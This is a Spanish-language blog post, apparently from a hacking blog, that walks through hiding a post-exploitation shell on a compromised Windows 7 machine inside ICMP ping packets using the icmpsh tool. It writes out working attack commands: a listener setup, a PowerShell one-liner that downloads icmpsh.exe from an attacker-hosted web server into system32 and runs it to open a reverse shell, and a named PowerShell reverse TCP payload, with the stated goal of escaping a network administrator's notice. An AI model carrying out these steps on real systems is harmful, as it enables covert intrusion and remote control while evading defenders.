Ocultando una Shell con el protocolo ICMP.

En este post hablaremos un poco de la post-explotación, con el cual trataremos de ocultar una shell que hemos obtenido en una victima encapsulando los paquetes bajo el protocolo ICMP, lo que hará que los comandos que se lancen desde el atacante a la victima sean vistos como uno o varios Ping.

Para ello, vamos a suponer que explotamos un Windows 7. (Puedes ver como hacerlo en este post) y obtuvimos una shell.


Ahora vamos a descargar los paquetes necesarios y a preparar nuestro entorno.

Descargar icmpsh


git clone https://github.com/inquisb/icmpsh.git

Ahora vamos a desactivar las respuestas ICMP para el sistema operativo (Atacante).


sysctl -w net.ipv4.icmp_echo_ignore_all=1

Ahora debemos entrar a la carpeta icmpsh y ejecutar el script


python icmpsh_m.py IPATACANTE IPVICTIMA

Al momento de ejecutarse, el script estará esperando la conexión desde la victima, y para lograr que se conecte tenemos dos métodos.

Metodo 1: (Ejecutable).

Dentro de la carpeta de icmpsh existe un ejecutable llamado icmpsh.exe el cual debemos transferir a la victima, una de las formas más sencillas puede ser a travez de http con un comando de powershell.

Debemos ejecutar un simple servidor web, esto lo podemos hacer con python y el comando: (Dentro de la carpeta icmpsh).


python -m SimpleHTTPServer 80

Ahora, debemos ir a la shell de la victima y descargar el archivo con powershell.(debemos cambiar la ip donde esté alojado el archivo).


powershell -c (new-object System.Net.WebClient).DownloadFile('http://192.168.0.21/icmpsh.exe','C:\Windows\system32\icmpsh.exe')

Luego de que se haya descargado, ejecutamos el exe indicando la ip del atacante.


icmpsh.exe -t 192.168.0.21

Ahora, nuestro script recibe una shell.


Ahora, la magia radica en que si capturamos los paquetes que van de una maquina a otra cuando ejecutamos un comando nos muestra lo siguiente:


Como se puede ver, los comandos viajan como si fueran peticiones y respuestas de ping. :) Lo que hace que un administrador de redes no se fije mucho en esto.


Metodo 2 (Powershell)

Ya vimos como ejecutar la shell subiendo un archivo a la victima, ahora veremos como hacerlo directamente usando powershell.

Todo el procedimiento es el mismo, hasta que debemos hacer que la victima se conecte al atacante, en este caso no vamos a descargar nada. Solo necesitamos la shell que ya obtuvimos por otro método. Pero vamos a usar otro payload el cual podemos usar para cargar powershell y su modulo correspondiente.

Debemos poner nuestro script a escuchar igual que lo hicimos en el método pasado y ejecutamos powershell en la maquina victima.


Payload:  windows/x64/powershell_reverse_tcp



Comentarios

Entradas más populares de este blog

Obteniendo Shell en Linux por medio de Samba

Apache Struts ejecución de código remoto.

Explotación de vulnerabilidad MS17-010